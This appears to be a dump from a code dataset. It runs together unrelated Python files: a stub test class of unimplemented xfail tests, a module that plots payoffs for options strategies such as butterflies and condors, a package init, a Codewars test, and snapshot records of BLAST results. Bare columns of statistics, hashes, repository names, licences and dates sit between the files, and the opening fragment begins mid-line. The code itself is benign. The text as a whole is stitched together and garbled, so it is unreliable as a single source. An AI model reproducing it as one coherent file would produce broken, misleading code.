TestStagingRegistries(unittest.TestCase): @pytest.mark.xfail(reason="Not Implemented", run=False) def test_target_registry(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_source_registry(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_stage_info(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_setup_success(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_teardown(self): assert False
27.841463
59
0.69908
298
2,283
5.181208
0.130872
0.11658
0.17487
0.244819
0.870466
0.870466
0.870466
0.870466
0.870466
0.870466
0
0
0.194919
2,283
81
60
28.185185
0.840044
0
0
0.62069
0
0
0.118265
0
0
0
0
0
0.310345
1
0.310345
false
0
0.034483
0
0.37931
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
d0ac0b6445c3b852c3548dcf85bf0a5ea4f911b8
25,763
py
Python
optionvisualizer/multi_payoffs.py
GBERESEARCH/optionvisualizer
98830c478f7edbacb18f30d679ee4010c7ed7fe6
[ "MIT" ]
8
2020-12-08T15:22:02.000Z
2022-03-26T19:40:38.000Z
optionvisualizer/multi_payoffs.py
GBERESEARCH/optionvisualizer
98830c478f7edbacb18f30d679ee4010c7ed7fe6
[ "MIT" ]
null
null
null
optionvisualizer/multi_payoffs.py
GBERESEARCH/optionvisualizer
98830c478f7edbacb18f30d679ee4010c7ed7fe6
[ "MIT" ]
4
2020-11-19T23:08:05.000Z
2021-12-28T08:07:02.000Z
""" Three and Four Option Payoffs """ from matplotlib import gridspec from matplotlib import pylab import matplotlib.pyplot as plt from optionvisualizer.option_formulas import Option # pylint: disable=invalid-name class MultiPayoff(): """ Calculate Three and Four Option payoffs - Butterfly / Christmas Tree / CondorPut etc. """ @classmethod def butterfly(cls, params): """ Displays the graph of the butterfly strategy: Long one ITM option Short two ATM options Long one OTM option Parameters ---------- S : Float Underlying Stock Price. The default is 100. K1 : Float Strike Price of option 1. The default is 95. K2 : Float Strike Price of option 2. The default is 100. K3 : Float Strike Price of option 3. The default is 105. T : Float Time to Maturity. The default is 0.25 (3 months). r : Float Interest Rate. The default is 0.05 (5%). q : Float Dividend Yield. The default is 0. sigma : Float Implied Volatility. The default is 0.2 (20%). option : Str Option type, Put or Call. The default is 'call' direction : Str Whether the payoff is long or short. The default is 'long'. value : Bool Whether to show the current value as well as the terminal payoff. The default is False. mpl_style : Str Matplotlib style template for 2D risk charts and payoffs. The default is 'seaborn-darkgrid'. Returns ------- payoff: Terminal payoff value less initial cost; Array payoff2: Current payoff value less initial cost (optional); Array title: Description of payoff; Str Runs method to graph using Matplotlib. """ params['opt_dict'] = { 'legs':3, 'S':params['S'], 'K1':params['K1'], 'T1':params['T'], 'K2':params['K2'], 'T2':params['T'], 'K3':params['K3'], 'T3':params['T'], 'r':params['r'], 'q':params['q'], 'sigma':params['sigma'], 'option1':params['option'], 'option2':params['option'], 'option3':params['option'], } # Calculate option prices option_legs = Option.return_options( opt_dict=params['opt_dict'], params=params) # Create payoff based on direction if params['direction'] == 'long': payoff = (option_legs['C1'] - 2 * option_legs['C2'] + option_legs['C3'] - option_legs['C1_0'] + 2 * option_legs['C2_0'] - option_legs['C3_0']) if params['value']: payoff2 = (option_legs['C1_G'] - 2 * option_legs['C2_G'] + option_legs['C3_G'] - option_legs['C1_0'] + 2 * option_legs['C2_0'] - option_legs['C3_0']) else: payoff2 = None if params['direction'] == 'short': payoff = (-option_legs['C1'] + 2 * option_legs['C2'] - option_legs['C3'] + option_legs['C1_0'] - 2 * option_legs['C2_0'] + option_legs['C3_0']) if params['value']: payoff2 = (-option_legs['C1_G'] + 2 * option_legs['C2_G'] - option_legs['C3_G'] + option_legs['C1_0'] - 2 * option_legs['C2_0'] + option_legs['C3_0']) else: payoff2 = None # Create title based on option type and direction if params['option'] == 'call' and params['direction'] == 'long': title = 'Long Butterfly with Calls' if params['option'] == 'put' and params['direction'] == 'long': title = 'Long Butterfly with Puts' if params['option'] == 'call' and params['direction'] == 'short': title = 'Short Butterfly with Calls' if params['option'] == 'put' and params['direction'] == 'short': title = 'Short Butterfly with Puts' params['payoff_dict'] = { 'S':params['S'], 'SA':option_legs['SA'], 'payoff':payoff, 'title':title, 'payoff2':payoff2, 'size2d':params['size2d'], 'mpl_style':params['mpl_style'] } # Visualize payoff cls.vis_payoff( payoff_dict=params['payoff_dict'], params=params) @classmethod def christmas_tree(cls, params): """ Displays the graph of the christmas tree strategy: Long one ITM option Short one ATM option Short one OTM option Parameters ---------- S : Float Underlying Stock Price. The default is 100. K1 : Float Strike Price of option 1. The default is 95. K2 : Float Strike Price of option 2. The default is 100. K3 : Float Strike Price of option 3. The default is 105. T : Float Time to Maturity. The default is 0.25 (3 months). r : Float Interest Rate. The default is 0.05 (5%). q : Float Dividend Yield. The default is 0. sigma : Float Implied Volatility. The default is 0.2 (20%). option : Str Option type, Put or Call. The default is 'call' direction : Str Whether the payoff is long or short. The default is 'long'. value : Bool Whether to show the current value as well as the terminal payoff. The default is False. mpl_style : Str Matplotlib style template for 2D risk charts and payoffs. The default is 'seaborn-darkgrid'. Returns ------- payoff: Terminal payoff value less initial cost; Array payoff2: Current payoff value less initial cost (optional); Array title: Description of payoff; Str Runs method to graph using Matplotlib. """ params['opt_dict'] = { 'legs':3, 'S':params['S'], 'K1':params['K1'], 'T1':params['T'], 'K2':params['K2'], 'T2':params['T'], 'K3':params['K3'], 'T3':params['T'], 'r':params['r'], 'q':params['q'], 'sigma':params['sigma'], 'option1':params['option'], 'option2':params['option'], 'option3':params['option'], } # Calculate option prices option_legs = Option.return_options( opt_dict=params['opt_dict'], params=params) # Create payoff based on option type and direction if params['option'] == 'call' and params['direction'] == 'long': payoff = (option_legs['C1'] - option_legs['C1_0'] - option_legs['C2'] + option_legs['C2_0'] - option_legs['C3'] + option_legs['C3_0']) title = 'Long Christmas Tree with Calls' if params['value']: payoff2 = (option_legs['C1_G'] - option_legs['C1_0'] - option_legs['C2_G'] + option_legs['C2_0'] - option_legs['C3_G'] + option_legs['C3_0']) else: payoff2 = None if params['option'] == 'put' and params['direction'] == 'long': payoff = (-option_legs['C1'] + option_legs['C1_0'] - option_legs['C2'] + option_legs['C2_0'] + option_legs['C3'] - option_legs['C3_0']) title = 'Long Christmas Tree with Puts' if params['value']: payoff2 = (-option_legs['C1_G'] + option_legs['C1_0'] - option_legs['C2_G'] + option_legs['C2_0'] + option_legs['C3_G'] - option_legs['C3_0']) else: payoff2 = None if params['option'] == 'call' and params['direction'] == 'short': payoff = (-option_legs['C1'] + option_legs['C1_0'] + option_legs['C2'] - option_legs['C2_0'] + option_legs['C3'] - option_legs['C3_0']) title = 'Short Christmas Tree with Calls' if params['value']: payoff2 = (-option_legs['C1_G'] + option_legs['C1_0'] + option_legs['C2_G'] - option_legs['C2_0'] + option_legs['C3_G'] - option_legs['C3_0']) else: payoff2 = None if params['option'] == 'put' and params['direction'] == 'short': payoff = (option_legs['C1'] - option_legs['C1_0'] + option_legs['C2'] - option_legs['C2_0'] - option_legs['C3'] + option_legs['C3_0']) title = 'Short Christmas Tree with Puts' if params['value']: payoff2 = (option_legs['C1_G'] - option_legs['C1_0'] + option_legs['C2_G'] - option_legs['C2_0'] - option_legs['C3_G'] + option_legs['C3_0']) else: payoff2 = None params['payoff_dict'] = { 'S':params['S'], 'SA':option_legs['SA'], 'payoff':payoff, 'title':title, 'payoff2':payoff2, 'size2d':params['size2d'], 'mpl_style':params['mpl_style'] } # Visualize payoff cls.vis_payoff( payoff_dict=params['payoff_dict'], params=params) @classmethod def condor(cls, params): """ Displays the graph of the condor strategy: Long one low strike option Short one option with a higher strike Short one option with a higher strike Long one option with a higher strike Parameters ---------- S : Float Underlying Stock Price. The default is 100. K1 : Float Strike Price of option 1. The default is 90. K2 : Float Strike Price of option 2. The default is 95. K3 : Float Strike Price of option 3. The default is 100. K4 : Float Strike Price of option 4. The default is 105. T : Float Time to Maturity. The default is 0.25 (3 months). r : Float Interest Rate. The default is 0.05 (5%). q : Float Dividend Yield. The default is 0. sigma : Float Implied Volatility. The default is 0.2 (20%). option : Str Option type, Put or Call. The default is 'call' direction : Str Whether the payoff is long or short. The default is 'long'. value : Bool Whether to show the current value as well as the terminal payoff. The default is False. mpl_style : Str Matplotlib style template for 2D risk charts and payoffs. The default is 'seaborn-darkgrid'. Returns ------- payoff: Terminal payoff value less initial cost; Array payoff2: Current payoff value less initial cost (optional); Array title: Description of payoff; Str Runs method to graph using Matplotlib. """ params['opt_dict'] = { 'legs':4, 'S':params['S'], 'K1':params['K1'], 'T1':params['T'], 'K2':params['K2'], 'T2':params['T'], 'K3':params['K3'], 'T3':params['T'], 'K4':params['K4'], 'T4':params['T'], 'r':params['r'], 'q':params['q'], 'sigma':params['sigma'], 'option1':params['option'], 'option2':params['option'], 'option3':params['option'], 'option4':params['option'], } # Calculate option prices option_legs = Option.return_options( opt_dict=params['opt_dict'], params=params) # Create payoff based on direction if params['direction'] == 'long': payoff = (option_legs['C1'] - option_legs['C1_0'] - option_legs['C2'] + option_legs['C2_0'] - option_legs['C3'] + option_legs['C3_0'] + option_legs['C4'] - option_legs['C4_0']) if params['value']: payoff2 = (option_legs['C1_G'] - option_legs['C1_0'] - option_legs['C2_G'] + option_legs['C2_0'] - option_legs['C3_G'] + option_legs['C3_0'] + option_legs['C4_G'] - option_legs['C4_0']) else: payoff2 = None if params['direction'] == 'short': payoff = (-option_legs['C1'] + option_legs['C1_0'] + option_legs['C2'] - option_legs['C2_0'] + option_legs['C3'] - option_legs['C3_0'] - option_legs['C4'] + option_legs['C4_0']) if params['value']: payoff2 = (-option_legs['C1_G'] + option_legs['C1_0'] + option_legs['C2_G'] - option_legs['C2_0'] + option_legs['C3_G'] - option_legs['C3_0'] - option_legs['C4_G'] + option_legs['C4_0']) else: payoff2 = None # Create title based on option type and direction if params['option'] == 'call' and params['direction'] == 'long': title = 'Long Condor with Calls' if params['option'] == 'put' and params['direction'] == 'long': title = 'Long Condor with Puts' if params['option'] == 'call' and params['direction'] == 'short': title = 'Short Condor with Calls' if params['option'] == 'put' and params['direction'] == 'short': title = 'Short Condor with Puts' params['payoff_dict'] = { 'S':params['S'], 'SA':option_legs['SA'], 'payoff':payoff, 'title':title, 'payoff2':payoff2, 'size2d':params['size2d'], 'mpl_style':params['mpl_style'] } # Visualize payoff cls.vis_payoff( payoff_dict=params['payoff_dict'], params=params) @classmethod def iron_butterfly(cls, params): """ Displays the graph of the iron butterfly strategy: Short one OTM put Long one ATM put Long one ATM call Short one OTM call Akin to having a long straddle inside a larger short strangle (or vice-versa) Parameters ---------- S : Float Underlying Stock Price. The default is 100. K1 : Float Strike Price of option 1. The default is 95. K2 : Float Strike Price of option 2. The default is 100. K3 : Float Strike Price of option 3. The default is 100. K4 : Float Strike Price of option 4. The default is 105. T : Float Time to Maturity. The default is 0.25 (3 months). r : Float Interest Rate. The default is 0.05 (5%). q : Float Dividend Yield. The default is 0. sigma : Float Implied Volatility. The default is 0.2 (20%). direction : Str Whether the payoff is long or short. The default is 'long'. value : Bool Whether to show the current value as well as the terminal payoff. The default is False. mpl_style : Str Matplotlib style template for 2D risk charts and payoffs. The default is 'seaborn-darkgrid'. Returns ------- payoff: Terminal payoff value less initial cost; Array payoff2: Current payoff value less initial cost (optional); Array title: Description of payoff; Str Runs method to graph using Matplotlib. """ params['opt_dict'] = { 'legs':4, 'S':params['S'], 'K1':params['K1'], 'T1':params['T'], 'K2':params['K2'], 'T2':params['T'], 'K3':params['K3'], 'T3':params['T'], 'K4':params['K4'], 'T4':params['T'], 'r':params['r'], 'q':params['q'], 'sigma':params['sigma'], 'option1':'put', 'option2':'call', 'option3':'put', 'option4':'call', } # Calculate option prices option_legs = Option.return_options( opt_dict=params['opt_dict'], params=params) # Create payoff based on direction if params['direction'] == 'long': payoff = (-option_legs['C1'] + option_legs['C1_0'] + option_legs['C2'] - option_legs['C2_0'] + option_legs['C3'] - option_legs['C3_0'] - option_legs['C4'] + option_legs['C4_0']) title = 'Long Iron Butterfly' if params['value']: payoff2 = (-option_legs['C1_G'] + option_legs['C1_0'] + option_legs['C2_G'] - option_legs['C2_0'] + option_legs['C3_G'] - option_legs['C3_0'] - option_legs['C4_G'] + option_legs['C4_0']) else: payoff2 = None if params['direction'] == 'short': payoff = (option_legs['C1'] - option_legs['C1_0'] - option_legs['C2'] + option_legs['C2_0'] - option_legs['C3'] + option_legs['C3_0'] + option_legs['C4'] - option_legs['C4_0']) title = 'Short Iron Butterfly' if params['value']: payoff2 = (option_legs['C1_G'] - option_legs['C1_0'] - option_legs['C2_G'] + option_legs['C2_0'] - option_legs['C3_G'] + option_legs['C3_0'] + option_legs['C4_G'] - option_legs['C4_0']) else: payoff2 = None params['payoff_dict'] = { 'S':params['S'], 'SA':option_legs['SA'], 'payoff':payoff, 'title':title, 'payoff2':payoff2, 'size2d':params['size2d'], 'mpl_style':params['mpl_style'] } # Visualize payoff cls.vis_payoff( payoff_dict=params['payoff_dict'], params=params) @classmethod def iron_condor(cls, params): """ Displays the graph of the iron condor strategy: Long one OTM put Short one OTM put with a higher strike Short one OTM call Long one OTM call with a higher strike Akin to having a long strangle inside a larger short strangle (or vice-versa) Parameters ---------- S : Float Underlying Stock Price. The default is 100. K1 : Float Strike Price of option 1. The default is 90. K2 : Float Strike Price of option 2. The default is 95. K3 : Float Strike Price of option 3. The default is 100. K4 : Float Strike Price of option 4. The default is 105. T : Float Time to Maturity. The default is 0.25 (3 months). r : Float Interest Rate. The default is 0.05 (5%). q : Float Dividend Yield. The default is 0. sigma : Float Implied Volatility. The default is 0.2 (20%). direction : Str Whether the payoff is long or short. The default is 'long'. value : Bool Whether to show the current value as well as the terminal payoff. The default is False. mpl_style : Str Matplotlib style template for 2D risk charts and payoffs. The default is 'seaborn-darkgrid'. Returns ------- payoff: Terminal payoff value less initial cost; Array payoff2: Current payoff value less initial cost (optional); Array title: Description of payoff; Str Runs method to graph using Matplotlib. """ params['opt_dict'] = { 'legs':4, 'S':params['S'], 'K1':params['K1'], 'T1':params['T'], 'K2':params['K2'], 'T2':params['T'], 'K3':params['K3'], 'T3':params['T'], 'K4':params['K4'], 'T4':params['T'], 'r':params['r'], 'q':params['q'], 'sigma':params['sigma'], 'option1':'put', 'option2':'put', 'option3':'call', 'option4':'call', } # Calculate option prices option_legs = Option.return_options( opt_dict=params['opt_dict'], params=params) # Create payoff based on direction and value flag if params['direction'] == 'long': payoff = (option_legs['C1'] - option_legs['C1_0'] - option_legs['C2'] + option_legs['C2_0'] - option_legs['C3'] + option_legs['C3_0'] + option_legs['C4'] - option_legs['C4_0']) if params['value']: payoff2 = (option_legs['C1_G'] - option_legs['C1_0'] - option_legs['C2_G'] + option_legs['C2_0'] - option_legs['C3_G'] + option_legs['C3_0'] + option_legs['C4_G'] - option_legs['C4_0']) else: payoff2 = None elif params['direction'] == 'short': payoff = (-option_legs['C1'] + option_legs['C1_0'] + option_legs['C2'] - option_legs['C2_0'] + option_legs['C3'] - option_legs['C3_0'] - option_legs['C4'] + option_legs['C4_0']) if params['value']: payoff2 = (-option_legs['C1_G'] + option_legs['C1_0'] + option_legs['C2_G'] - option_legs['C2_0'] + option_legs['C3_G'] - option_legs['C3_0'] - option_legs['C4_G'] + option_legs['C4_0']) else: payoff2 = None # Create graph title based on direction if params['direction'] == 'long': title = 'Long Iron Condor' if params['direction'] == 'short': title = 'Short Iron Condor' params['payoff_dict'] = { 'S':params['S'], 'SA':option_legs['SA'], 'payoff':payoff, 'title':title, 'payoff2':payoff2, 'size2d':params['size2d'], 'mpl_style':params['mpl_style'] } # Visualize payoff cls.vis_payoff( payoff_dict=params['payoff_dict'], params=params) @staticmethod def vis_payoff(payoff_dict, params): """ Display the payoff diagrams using matplotlib Parameters ---------- payoff_dict : Dict S : Float Underlying Stock Price. The default is 100. SA : Array Range of Strikes to provide x-axis values. The default is 75% to 125%. payoff : Array Terminal payoff value less initial cost. label : Str Label for terminal payoff. The default is 'Payoff' title : Str Chart title giving name of combo. The default is 'Option Payoff' payoff2 : Array Current payoff value less initial cost. label2 : Str Label for current payoff value. params : Dict Dictionary of key parameters Returns ------- 2D Payoff Graph. """ # Use seaborn darkgrid style plt.style.use(payoff_dict['mpl_style']) # Update chart parameters pylab.rcParams.update(params['mpl_params']) # Create the figure and axes objects fig = plt.figure(figsize=payoff_dict['size2d']) # Use gridspec to allow modification of bounding box gs1 = gridspec.GridSpec(1, 1) ax = fig.add_subplot(gs1[0]) # Plot the terminal payoff ax.plot(payoff_dict['SA'], payoff_dict['payoff'], color='blue', label='Payoff') # If the value flag is selected, plot the payoff with the # current time to maturity if payoff_dict['payoff2'] is not None: ax.plot(payoff_dict['SA'], payoff_dict['payoff2'], color='red', label='Value') # Set a horizontal line at zero P&L ax.axhline(y=0, linewidth=0.5, color='k') #Set a vertical line at ATM strike ax.axvline(x=payoff_dict['S'], linewidth=0.5, color='k') # Apply a black border to the chart ax.patch.set_edgecolor('black') ax.patch.set_linewidth('1') # Apply a grid plt.grid(True) # Set x and y axis labels and title ax.set(xlabel='Stock Price', ylabel='P&L', title=payoff_dict['title']) # Create a legend ax.legend(loc=0, fontsize=10) # Apply tight layout gs1.tight_layout(fig, rect=[0, 0, 1, 1]) # Display the chart plt.show()
36.23488
78
0.500563
2,892
25,763
4.327455
0.081604
0.142229
0.062325
0.02493
0.864722
0.848102
0.834039
0.819257
0.803915
0.800639
0
0.036796
0.380779
25,763
710
79
36.285915
0.747696
0.318247
0
0.792614
0
0
0.155886
0
0
0
0
0
0
1
0.017045
false
0
0.011364
0
0.03125
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d0c7b9647a31b4117643d071cfd3de2787fb854e
84
py
Python
strategies/__init__.py
jonahobw/shrinkbench
2fe04274838cd71dc0eaba1d6250a40d15896993
[ "MIT" ]
null
null
null
strategies/__init__.py
jonahobw/shrinkbench
2fe04274838cd71dc0eaba1d6250a40d15896993
[ "MIT" ]
null
null
null
strategies/__init__.py
jonahobw/shrinkbench
2fe04274838cd71dc0eaba1d6250a40d15896993
[ "MIT" ]
null
null
null
from .magnitude import * from .adversarial_magnitude import * from .random import *
21
36
0.785714
10
84
6.5
0.5
0.461538
0.584615
0
0
0
0
0
0
0
0
0
0.142857
84
3
37
28
0.902778
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
d0e8c2e54952ba94b91dde000917e3352a9923ad
252
py
Python
Codewars/7kyu/plus-minus-plus-plus-dot-dot-dot-count/Python/test.py
RevansChen/online-judge
ad1b07fee7bd3c49418becccda904e17505f3018
[ "MIT" ]
7
2017-09-20T16:40:39.000Z
2021-08-31T18:15:08.000Z
Codewars/7kyu/plus-minus-plus-plus-dot-dot-dot-count/Python/test.py
RevansChen/online-judge
ad1b07fee7bd3c49418becccda904e17505f3018
[ "MIT" ]
null
null
null
Codewars/7kyu/plus-minus-plus-plus-dot-dot-dot-count/Python/test.py
RevansChen/online-judge
ad1b07fee7bd3c49418becccda904e17505f3018
[ "MIT" ]
null
null
null
# Python - 3.6.0 Test.assert_equals(catch_sign_change([1, 3, 4, 5]), 0) Test.assert_equals(catch_sign_change([1, -3, -4, 0, 5]), 2) Test.assert_equals(catch_sign_change([]), 0) Test.assert_equals(catch_sign_change([-47, 84, -30, -11, -5, 74, 77]), 3)
36
73
0.678571
48
252
3.3125
0.416667
0.251572
0.402516
0.528302
0.836478
0.836478
0.641509
0.440252
0.440252
0.440252
0
0.128319
0.103175
252
6
74
42
0.575221
0.055556
0
0
0
0
0
0
0
0
0
0
1
1
0
true
0
0
0
0
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
0
0
0
0
0
8
ef6f55e41e0e544981772083937c8f5e5d958a87
17,321
py
Python
tests/analyses/snapshots/snap_test_db.py
ColeVoelpel/virtool
859c8d2516f07343bde47f3bae0247dedd76e6c4
[ "MIT" ]
1
2019-08-23T00:19:00.000Z
2019-08-23T00:19:00.000Z
tests/analyses/snapshots/snap_test_db.py
ColeVoelpel/virtool
859c8d2516f07343bde47f3bae0247dedd76e6c4
[ "MIT" ]
null
null
null
tests/analyses/snapshots/snap_test_db.py
ColeVoelpel/virtool
859c8d2516f07343bde47f3bae0247dedd76e6c4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # snapshottest: v1 - https://goo.gl/zC4yUc from __future__ import unicode_literals from snapshottest import GenericRepr, Snapshot snapshots = Snapshot() snapshots['TestBLAST.test_update[uvloop-None-None-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-None-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-None-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-None-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-True-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-True-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-True-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-True-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-False-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-False-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-False-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-None-False-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': False, 'result': None, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-None-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-None-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-None-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-None-Error-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': None, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-True-None-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-True-None-False] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': None, 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } snapshots['TestBLAST.test_update[uvloop-result1-True-Error-True] 1'] = { '_id': 'foo', 'results': [ { 'blast': 'bar', 'index': 2 }, { 'blast': { 'error': 'Error', 'interval': 3, 'last_checked_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'), 'ready': True, 'result': { 'foo': 'bar' }, 'rid': 'ABC123' }, 'index': 5 }, { 'blast': 'baz', 'index': 12 } ], 'updated_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)') } 